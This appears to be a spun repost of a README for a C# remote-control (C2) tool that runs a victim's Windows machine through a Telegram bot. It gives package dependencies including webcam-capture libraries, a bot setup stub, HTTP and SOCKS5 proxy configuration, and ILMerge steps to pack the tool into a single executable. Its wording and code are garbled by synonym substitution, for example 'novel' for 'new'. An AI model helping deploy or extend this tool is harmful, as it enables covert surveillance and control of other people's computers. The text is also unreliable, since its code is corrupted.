Telegram C# C2 - A Command As Well As Command Tool For Telegram Bot Communication
Command together with Control for C# Writing
Author: Leiothrix
Telegram: @Leiothrix
Twitter: @wh4am1
Team: QQ愛&Love
Install
Nuget download these package
using System.IO; using Telegram.Bot; using Telegram.Bot.Args; using Telegram.Bot.Types.InputFiles; using AForge.Video; using AForge.Controls; using AForge.Video.DirectShow;
Add related classes inwards 'References'
System.Drawing; System.Windows.Forms;
How to used
Modify your Token to the program
static void Main(){ botClient = novel TelegramBotClient("token"); //Your Token botClient.OnMessage += Bot_OnMessage; botClient.StartReceiving(); Thread.Sleep(int.MaxValue); }
have adept fun.
Proxy
TelegramBotClient allows you lot to role a proxy for Bot API connections.
HTTP
You tin hand the axe overstep an IWebProxy to bot customer for HTTP Proxies.
// using System.Net; var httpProxy = novel WebProxy("https://example.org", 8080) { Credentials = novel NetworkCredential("USERNMAE", "PASSWORD") }; var botClient = novel TelegramBotClient("YOUR_API_TOKEN", httpProxy);
SOCKS 5
You tin hand the axe role an external NuGet package: HttpToSocks5Proxy provided
// using MihaZupan; var proxy = novel HttpToSocks5Proxy(Socks5ServerAddress, Socks5ServerPort); // Or if you lot postulate credentials for your proxy server: var proxy = novel HttpToSocks5Proxy( Socks5ServerAddress, Socks5ServerPort, "USERNAME", "PASSWORD" ); // Allows you lot to role proxies that are alone allowing connections to Telegram // Needed for around proxies proxy.ResolveHostnamesLocally = true; var botClient = novel TelegramBotClient("YOUR_API_TOKEN", proxy);
How to compile
How to compile all DLL files into an EXE file
First,You postulate download ILMerge tool,this is a tool for merging all references to .NET programs.
ilmerge.exe /target:exe /out:TGbot.exe ConsoleApp1.exe AForge.Controls.dll AForge.dll AForge.Imaging.dll AForge.Math.dll AForge.Video.DirectShow.dll AForge.Video.dll Newtonsoft.Json.dll Telegram.Bot.dll /targetplatform:v4
/target -> library=>DLL exe=>exe
/targetplatform:v4 -> Compiler platform is .net 4.0
/out -> Merged output file,Parameters are followed past times files that postulate to last merged
Finally, generate output inwards the directory specified past times the out parameter